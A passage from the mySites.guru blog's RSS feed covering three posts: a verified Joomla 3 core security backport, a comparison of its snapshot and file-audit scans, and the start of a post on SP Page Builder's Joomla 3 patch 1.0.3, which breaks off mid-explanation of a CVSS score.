&lt;p&gt;So we reproduce each candidate on a stock Joomla 3.10.12 install before it goes in. We stand up a real site, write a test that triggers the flaw, confirm it fires on the unpatched files, apply the backported fix, and confirm the test now fails to trigger it while the legitimate behaviour still works. The cache directory-deletion and both ACL checks earned their place in the Joomla 3 set that way, not because an advisory told us to add them.&lt;/p&gt;
&lt;p&gt;The spring 2026 fixes came out of the same discipline. While checking the September batch against 3.10.12 we noticed five earlier ones that reach Joomla 3 and had never been added: an XSS in the feed modules, an XSS in com_contenthistory, a local file inclusion in a layout parameter, and two more input-filter hardening fixes. They are in now too.&lt;/p&gt;
&lt;h2&gt;The fix we left out on purpose&lt;/h2&gt;
&lt;p&gt;One September advisory did not make the cut, and that is the point of being precise. &lt;a href=&quot;https://developer.joomla.org/security-centre/1027-20260301-core-acl-hardening-in-com-ajax.html&quot;&gt;CVE-2026-21629&lt;/a&gt; is an ACL hardening fix for &lt;code&gt;com_ajax&lt;/code&gt;, and it is rated as affecting Joomla 3. But on Joomla 3 the administrator application sends every signed-out visitor to the login screen before &lt;code&gt;com_ajax&lt;/code&gt; ever runs. The vulnerable path is not reachable, so there is nothing to patch.&lt;/p&gt;
&lt;p&gt;We could have added the file anyway and claimed a bigger number. Inflating the count would make the tool look more thorough while doing nothing for a single site. A patch set is only worth trusting if every file in it is there for a reason, so a CVE that cannot fire on Joomla 3 stays out, and this post tells you which one and why.&lt;/p&gt;
&lt;h2&gt;How many files does the Joomla 3 patch tool change?&lt;/h2&gt;
&lt;p&gt;The tool now touches 85 files: 43 PHP files that hold the actual fixes, 37 XML form definitions that tighten input validation, three language files and two CA certificate bundles. Eighty-four are replaced with patched versions and one is a file Joomla 3 never shipped, created when you toggle on and deleted when you toggle off.&lt;/p&gt;
&lt;p&gt;Because the patch set ships with the connector, it grows as new Joomla 3 CVEs are backported, and a site that was fully patched then reads as behind until you re-toggle. That is the mechanism doing its job, not a regression: the connector only counts a file as patched when it matches the exact version we ship today, so “fully patched” always means current, never current as of some fixed date.&lt;/p&gt;
&lt;h2&gt;What to do if you still run Joomla 3&lt;/h2&gt;
&lt;p&gt;Start planning the new site on a modern Joomla version. Patching Joomla 3 is a holding action, not a plan: the PHP it runs on, the extensions built for it, and the tooling around it are all aging out, and no amount of core patching saves you long term. A fresh build on Joomla 5 is the only real fix, so get it on the roadmap now rather than when something breaks.&lt;/p&gt;
&lt;p&gt;For the sites you cannot, will not, or do not want to move yet, &lt;a href=&quot;https://joomla3security.com/options/#stay-and-patch&quot;&gt;patch them&lt;/a&gt;. Switch the toggle on, and if you manage many Joomla 3 sites the bulk view patches them together. The case for keeping these sites covered while you plan their future is in &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;Joomla 3 Didn’t Fail. Your Retainer Did.&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;This tool patches every known Joomla 3 core security issue&lt;/p&gt;&lt;div&gt;&lt;p&gt;One toggle, 85 files, every Joomla core vulnerability we have confirmed reaches Joomla 3. No eLTS subscription, and reversible at any time.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Core is not the only thing aging on a Joomla 3 site. The extensions are &lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;going end of life alongside it&lt;/a&gt;, which is why we also patch &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;JoomShaper’s Helix and SP Page Builder&lt;/a&gt; separately. Between the two, the known holes come off the table while you do the real work of migrating.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-4-5-4-9-security-bugfix-release.html&quot;&gt;Joomla 6.1.4 and 5.4.9 Security and Bugfix Release&lt;/a&gt; - Joomla’s own announcement of the September 2026 release the backport is based on.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; - the official advisory feed, where every CVE in the patch set is published.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999&quot;&gt;The Joomla 3.10.999 project&lt;/a&gt; - the open-source repository the patches come from.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Fix Joomla 3 Security Issues in One Click&lt;/a&gt; - the full how-to, including the complete file and CVE list and the bulk view.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://elts.joomla.org/&quot;&gt;Joomla Extended Long Term Support (eLTS)&lt;/a&gt; - the paid programme that patched Joomla 3 until it ended on 17 February 2025.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>joomla 3</category><category>vulnerability</category><category>cve</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/joomla-3-security-fixes-verified-on-3-10-12.png" length="0" type="image/png"/></item><item><title>Snapshot vs Audit: Settings Check or Full File Scan?</title><link>https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/</link><guid isPermaLink="true">https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/</guid><description>A mySites.guru snapshot reads your site&apos;s settings twice a day. An audit reads every file on a schedule. What each one finds, and why weekly beats daily.</description><pubDate>Fri, 02 Oct 2026 10:10:55 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru checks your WordPress and Joomla sites in two different ways, the &lt;strong&gt;snapshot&lt;/strong&gt; and the &lt;strong&gt;audit&lt;/strong&gt;. Both produce a list of pass/fail checks, and &lt;a href=&quot;https://mysites.guru/tools/&quot;&gt;every one of those checks is documented&lt;/a&gt;, but they gather their data differently and catch different problems.&lt;/p&gt;
&lt;p&gt;The snapshot reads your site’s configuration, users and extensions in milliseconds. The audit reads every file in your webspace looking for threats. They run independently on their own schedules, and the useful question is which one found a given problem, because a clean result from one says nothing about the other. If you manage more than a handful of sites, the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;multi-site dashboard&lt;/a&gt; shows both side by side for every connected site.&lt;/p&gt;
&lt;h2&gt;How does the mySites.guru snapshot work?&lt;/h2&gt;
&lt;p&gt;The snapshot is the quick health check. It looks up database settings, reads specific configuration files, checks HTTP response headers and counts things like user accounts and installed plugins. None of it needs a scan of the file system, so it finishes in milliseconds.&lt;/p&gt;
&lt;p&gt;There are over 100 individual checks on each platform, grouped into categories like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/&quot;&gt;Platform configuration&lt;/a&gt; (debug mode, SSL, file editing, XML-RPC, auto-updates, and dozens more, including the &lt;a href=&quot;https://developer.wordpress.org/advanced-administration/wordpress/wp-config/&quot;&gt;WordPress debug constants&lt;/a&gt; that leak errors to visitors)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/user-accounts/&quot;&gt;User accounts&lt;/a&gt; (inactive users, unactivated accounts, hashed passwords, admin count, rogue Super Admins)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/security-headers/&quot;&gt;Security headers&lt;/a&gt; (X-Frame-Options, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP&quot;&gt;Content-Security-Policy&lt;/a&gt;, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Strict-Transport-Security&quot;&gt;HSTS&lt;/a&gt;, Referrer-Policy), covered in &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;more detail here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/extensions-and-plugins/&quot;&gt;Extensions and plugins&lt;/a&gt; (installed versions, available updates, deactivated plugins still on disk, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;known vulnerabilities&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;Database integrity&lt;/a&gt; (table prefix, user permissions, pending migrations)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/hosting-environment/&quot;&gt;Hosting environment&lt;/a&gt; (PHP version against the &lt;a href=&quot;https://manual.joomla.org/docs/get-started/technical-requirements/&quot;&gt;Joomla technical requirements&lt;/a&gt;, disabled functions, error reporting, session configuration)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/search-engine-visibility/&quot;&gt;Search engine visibility&lt;/a&gt; (robots.txt reachability, blocked search and AI answer engines, sitemap declaration)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/&quot;&gt;Targeted hack detection&lt;/a&gt; (a short list of specific compromises that live in the database or the server, covered below)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Snapshots run automatically about twice a day on every connected site, and you can trigger one on demand. Many checks include a one-click toggle, so debug mode left on or user registration accidentally enabled is fixed from the dashboard without logging into the site. You can see what that looks like on the &lt;a href=&quot;https://mysites.guru/screenshots/&quot;&gt;screenshots page&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What does a snapshot set in motion?&lt;/h2&gt;
&lt;p&gt;A snapshot is also the trigger for several things you would not file under “checking”. Each time one finishes, mySites.guru gathers the full list of extensions and themes, compares each against its update feed, and checks the versions against the &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;vulnerability database&lt;/a&gt;. A match raises an alert, which is why a new advisory can reach you within hours of a rule being added rather than at your next manual look.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic extension updates&lt;/a&gt; work the same way. They do not run on a clock of their own: when a snapshot sees an update for an extension you have enabled for auto-update, the update goes out. Starting an audit also triggers a snapshot, so the two sets of results are never far apart on the day an audit runs.&lt;/p&gt;
&lt;p&gt;Events between snapshots, such as a new admin login or a changed template file, come from &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;near-real-time alerting&lt;/a&gt; instead. The snapshot is the twice-daily sweep, and the alerts cover the gaps.&lt;/p&gt;
&lt;h2&gt;How does the mySites.guru audit work?&lt;/h2&gt;
&lt;p&gt;The audit reads &lt;strong&gt;every file and every line of code&lt;/strong&gt; in your webspace: PHP, JavaScript, images, archives, hidden files, everything. It matches them against a library of roughly 1,500 regex patterns and a database of known-bad file hashes to identify:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Malware and backdoors (suspect code patterns, obfuscated PHP, known malicious file hashes)&lt;/li&gt;
&lt;li&gt;Mass mailers (scripts built to send spam from your server)&lt;/li&gt;
&lt;li&gt;Modified core files (WordPress or Joomla core files that have been tampered with)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;Impostor files&lt;/a&gt; (files sitting in a folder the CMS owns that the release never shipped)&lt;/li&gt;
&lt;li&gt;Hidden files and folders (dot files tucked into directories you would never think to check)&lt;/li&gt;
&lt;li&gt;Dangerous permissions (files or folders set to 777)&lt;/li&gt;
&lt;li&gt;Suspicious file types (SQL dumps, renamed PHP files, upload scripts in unexpected places)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The audit also builds the file and folder listing that the investigation pages and the file manager’s audit view read from, so it does a second job beyond hack detection: a tool that needs to know what was on disk at the last scan is reading the audit’s output. The &lt;a href=&quot;https://mysites.guru/tools/file-information/&quot;&gt;file-level checks&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/tools/folder-information/&quot;&gt;folder-level checks&lt;/a&gt; are documented one by one, and the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;guide to finding hacked files&lt;/a&gt; walks through reading the results.&lt;/p&gt;
&lt;h2&gt;How does an audit treat a shared host?&lt;/h2&gt;
&lt;p&gt;Because every file gets opened, an audit takes minutes where a snapshot takes milliseconds, and a large site takes longer. That is a real load on the server hosting the site, which is why the scheduler is built to go gently.&lt;/p&gt;
&lt;p&gt;Only one audit runs at a time per server hostname and the rest queue behind it, so a host with fifty sites is never hit by fifty scans at once. The scan also slows itself down when a host struggles to keep up. A host that is fine at the first attempt runs at full speed, and one that keeps timing out gets a progressively slower scan until it completes. &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Scheduling is covered here&lt;/a&gt;, and you can &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;start one manually&lt;/a&gt; whenever you need it.&lt;/p&gt;
&lt;p&gt;That load falls on your hosting account, which is why the daily-versus-weekly question below matters.&lt;/p&gt;
&lt;h2&gt;How do they compare side by side?&lt;/h2&gt;








































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Snapshot&lt;/th&gt;&lt;th&gt;Audit&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Speed&lt;/td&gt;&lt;td&gt;Milliseconds&lt;/td&gt;&lt;td&gt;Minutes, depending on site size&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Frequency&lt;/td&gt;&lt;td&gt;About twice daily, plus on demand&lt;/td&gt;&lt;td&gt;Weekly by default, daily or monthly if you choose&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reads&lt;/td&gt;&lt;td&gt;Settings, headers, users, extension versions, known database hacks&lt;/td&gt;&lt;td&gt;Every file and line of code in the webspace&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Checks per platform&lt;/td&gt;&lt;td&gt;100+&lt;/td&gt;&lt;td&gt;Around 30 inspection tools&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finds hacks&lt;/td&gt;&lt;td&gt;Rogue admins and known database-resident compromises&lt;/td&gt;&lt;td&gt;Backdoors, malware, modified core files, impostor files&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;One-click fixes&lt;/td&gt;&lt;td&gt;Yes, many checks have toggles&lt;/td&gt;&lt;td&gt;Investigation tools for reviewing findings&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;Joomla and WordPress in numbers&lt;/h2&gt;
&lt;p&gt;The two platforms do not have the same number of checks, because they do not have the same things to check. Counting the check library in October 2026 gives this:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Snapshot checks&lt;/th&gt;&lt;th&gt;Audit tools&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla&lt;/td&gt;&lt;td&gt;129&lt;/td&gt;&lt;td&gt;33&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;WordPress&lt;/td&gt;&lt;td&gt;103&lt;/td&gt;&lt;td&gt;29&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Other PHP sites&lt;/td&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;22&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Joomla has more snapshot checks mostly because its configuration surface is larger, with around fifty configuration checks on their own. The audit counts sit much closer together, because a file scan looks much the same on either platform: a PHP file in the wrong place is a PHP file in the wrong place. If you run both, the &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;Joomla&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;WordPress&lt;/a&gt; multi-site pages describe how each is managed day to day.&lt;/p&gt;
&lt;h2&gt;What each scan finds on a real site&lt;/h2&gt;
&lt;p&gt;The easiest way to hold the difference in your head is to ask where a problem physically lives. If it lives in the database or in a setting, the snapshot sees it. If it lives in a file on disk, only the audit does.&lt;/p&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Problem&lt;/th&gt;&lt;th&gt;Found by&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Debug mode on, registration open, missing security headers&lt;/td&gt;&lt;td&gt;Snapshot&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;An extension version with a known vulnerability&lt;/td&gt;&lt;td&gt;Snapshot&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;A rogue Super Admin account&lt;/td&gt;&lt;td&gt;Snapshot&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Injected template or menu parameters, rogue JCE profiles, SP Page Builder assets&lt;/td&gt;&lt;td&gt;Snapshot&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;A PHP backdoor in an uploads folder or hidden behind an image extension&lt;/td&gt;&lt;td&gt;Audit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;A modified or missing core file&lt;/td&gt;&lt;td&gt;Audit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;A mass mailer script&lt;/td&gt;&lt;td&gt;Audit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;An impostor file in a core folder&lt;/td&gt;&lt;td&gt;Audit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;World-writable folders, SQL dumps left in the webroot&lt;/td&gt;&lt;td&gt;Audit&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Two things follow from that table. A clean snapshot can still sit on a hacked site, because it cannot see a malicious file on disk. And the audit has company as a hack detector: the database-resident compromises that &lt;a href=&quot;https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/&quot;&gt;Joomla attackers favour&lt;/a&gt; are what the snapshot’s targeted checks look for. Those checks cover specific known compromises. A general scan of your database is still on the roadmap.&lt;/p&gt;
&lt;h2&gt;Four incidents, and the scan that caught each&lt;/h2&gt;
&lt;p&gt;Abstract tables only go so far, so here are four compromises we have written up, sorted by which scan is the one that sees them.&lt;/p&gt;
&lt;p&gt;An attacker who creates their own Super Admin account is a snapshot finding. The &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/rogue-super-admin-accounts/&quot;&gt;rogue Super Admin check&lt;/a&gt; matches the account names and generated identities that known attacks use, and the &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;walkthrough on finding rogue admin accounts&lt;/a&gt; shows what the result looks like on a live site.&lt;/p&gt;
&lt;p&gt;A backdoor hidden in Joomla’s scheduler is also a snapshot finding. A scheduled-tasks row sits in the database and does nothing without a routine to run it, so the &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-joomla-scheduled-tasks/&quot;&gt;malicious scheduled task check&lt;/a&gt; reads the scheduler on every snapshot and judges each task by the routine it names. The same family includes &lt;a href=&quot;https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/&quot;&gt;locked scheduled tasks&lt;/a&gt; that stop legitimate jobs running.&lt;/p&gt;
&lt;p&gt;Malware that survives its own deletion is the third. On Linux, deleting a file does not stop a process that is already running it, and the snapshot’s &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/processes-running-deleted-code/&quot;&gt;resident process check&lt;/a&gt; reports PHP processes whose code is no longer on disk. The post on &lt;a href=&quot;https://mysites.guru/blog/processes-running-deleted-code/&quot;&gt;malware you thought you deleted&lt;/a&gt; explains why reinfection within seconds of a cleanup points here.&lt;/p&gt;
&lt;p&gt;The fourth is the one the audit exists for: a file that should not be there. &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;Impostor files in core folders&lt;/a&gt; are PHP files sitting among a release’s files that the release never shipped, and only a scan that reads the folder against the release notices them.&lt;/p&gt;
&lt;p&gt;Three of the four are snapshot findings. A daily audit would not have found any of the first three sooner, because the audit reads files and these problems are not in files.&lt;/p&gt;
&lt;h2&gt;Why a daily audit rarely earns its server load&lt;/h2&gt;
&lt;p&gt;We recently began writing to customers who had daily audits scheduled and asking them to switch most sites back to weekly or monthly. A hosting company that was about to connect around 700 sites asked whether it was an automated email, and then whether our servers could take that volume on a weekly or monthly schedule. They can, with room to spare. The reason for the email was the data: when we looked, about 99% of audits that run on a daily schedule were never opened by anyone.&lt;/p&gt;
&lt;p&gt;Your server takes that load as much as ours does. Every audit reads every file on your host, and a scan whose results no one reads costs you that load for nothing.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Snapshots already run twice a day&lt;/p&gt;&lt;div&gt;&lt;p&gt;Between audits, the snapshot is still watching your configuration, your extension versions, your user accounts and the known database hacks. The only extra thing a daily audit does over that is read your files line by line a few more times a week.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/what-site-audits-reveal-about-joomla-and-wordpress-security/&quot;&gt;published audit data&lt;/a&gt; shows what turns up when the file scan does run across a wide spread of sites, and the &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;customer reviews&lt;/a&gt; describe how people use the dashboard day to day.&lt;/p&gt;
&lt;h2&gt;How often should each one run?&lt;/h2&gt;
&lt;p&gt;Leave the snapshot alone. It runs about twice a day by default, it costs your server almost nothing, and it is what powers update alerts and vulnerability warnings.&lt;/p&gt;
&lt;p&gt;For audits, weekly suits most sites and is the default for new ones. Monthly suits dormant sites that no one edits. Daily is worth choosing for a site you are actively watching, for example in the days after a cleanup, where you want to know quickly whether anything came back. Switch it back once the site has been quiet for a couple of weeks.&lt;/p&gt;
&lt;p&gt;If you manage a lot of sites, the bulk scheduler changes the period on many at once. Combined with a weekly default, it spreads the file-level work over the week while the snapshot keeps the daily watch. If a site does get hacked, the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;recovery walkthrough&lt;/a&gt; covers what to do next, and the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress&lt;/a&gt; hacked-site pages cover the first hour.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start with a free audit&lt;/a&gt; and see where your sites stand, or look at the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing&lt;/a&gt; if you are managing more than a handful.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/security/hardening/&quot;&gt;WordPress hardening guide&lt;/a&gt; - the WordPress project’s own advice on securing an install&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/security/&quot;&gt;WordPress security documentation&lt;/a&gt; - the wider security section of the WordPress developer handbook&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/security/&quot;&gt;Joomla security documentation&lt;/a&gt; - the Joomla project’s security section in the official manual&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP&quot;&gt;MDN guide to Content Security Policy&lt;/a&gt; - how CSP works, one of the headers the snapshot reads&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/&quot;&gt;OWASP Web Security Testing Guide&lt;/a&gt; - the standard reference on how web application security testing is structured&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Snapshots and audits are both covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>snapshot</category><category>audit</category><category>security</category><category>hack detection</category><category>scheduling</category><enclosure url="https://mysites.guru/img/og/blog/snapshot-vs-audit-whats-the-difference.png" length="0" type="image/png"/></item><item><title>SP Page Builder&apos;s Joomla 3 Security Patch Was Incomplete. Version 1.0.3 Fixes It.</title><link>https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/</link><guid isPermaLink="true">https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/</guid><description>JoomShaper&apos;s first Joomla 3 security patch for SP Page Builder left the captcha bypass live and the XSS fix incomplete. Version 1.0.3 closes both.</description><pubDate>Fri, 02 Oct 2026 09:06:56 GMT</pubDate><content:encoded>&lt;p&gt;JoomShaper has released version 1.0.3 of the &lt;a href=&quot;https://www.joomshaper.com/downloads/extension/sp-page-builder-joomla-3-security-patch&quot;&gt;Joomla 3 Security Patch for SP Page Builder&lt;/a&gt;, and it finishes a job the first release started. When SP Page Builder &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/&quot;&gt;6.9.1 fixed five security issues we reported&lt;/a&gt;, Joomla 3 sites were left out, because they cannot run the 6.x package at all. The Joomla 3 patch that shipped alongside it, version 1.0.2, was meant to back-port those fixes. It back-ported four of them, left the fifth live, and shipped a cross-site scripting fix that stopped one character short. Version 1.0.3 closes both gaps.&lt;/p&gt;
&lt;p&gt;We found them while verifying the released packages on 14 September, proved each on a Joomla 3.10.12 test site with the patch files in place, and reported them to JoomShaper the same day. This post is what those two gaps were, how 1.0.3 addresses them, and the part that no patch version fixes: most Joomla 3 sites running SP Page Builder cannot install it.&lt;/p&gt;
&lt;h2&gt;What version 1.0.2 left open&lt;/h2&gt;
&lt;p&gt;The 6.9.1 round had five findings. Four of them are ordinary back-ports: the same corrected code, moved to the older files. The two that did not travel cleanly are the interesting ones, and both are the kind of gap that appears when a fix is applied to the exact place it was reported and not to the code sitting next to it.&lt;/p&gt;
&lt;p&gt;The first was the captcha bypass. The second was an XSS fix that escaped one of two sinks on the same line. There was also a smaller observation about where the captcha type is read from, which 1.0.3 has now tidied up as well.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;6.9&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-79701/&quot;&gt;CVE-2026-79701&lt;/a&gt;Unauthenticated captcha bypass in the contact, form builder and opt-in form addons&lt;/p&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA, published 14 September 2026 and being extended to the Joomla 3 branch&lt;/span&gt;&lt;/p&gt;&lt;p&gt;An anonymous visitor gets past reCAPTCHA on any of the three Pro form addons by claiming the form sits inside a module. The 1.0.2 patch left this live on Joomla 3, and the opt-in form was not in the patch at all. Fixed in 1.0.3.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;Captcha not verified&lt;/span&gt;&lt;span&gt;Fixed in 1.0.3&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:L&lt;/dt&gt;&lt;dd&gt;Low: The site slows or stutters&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their 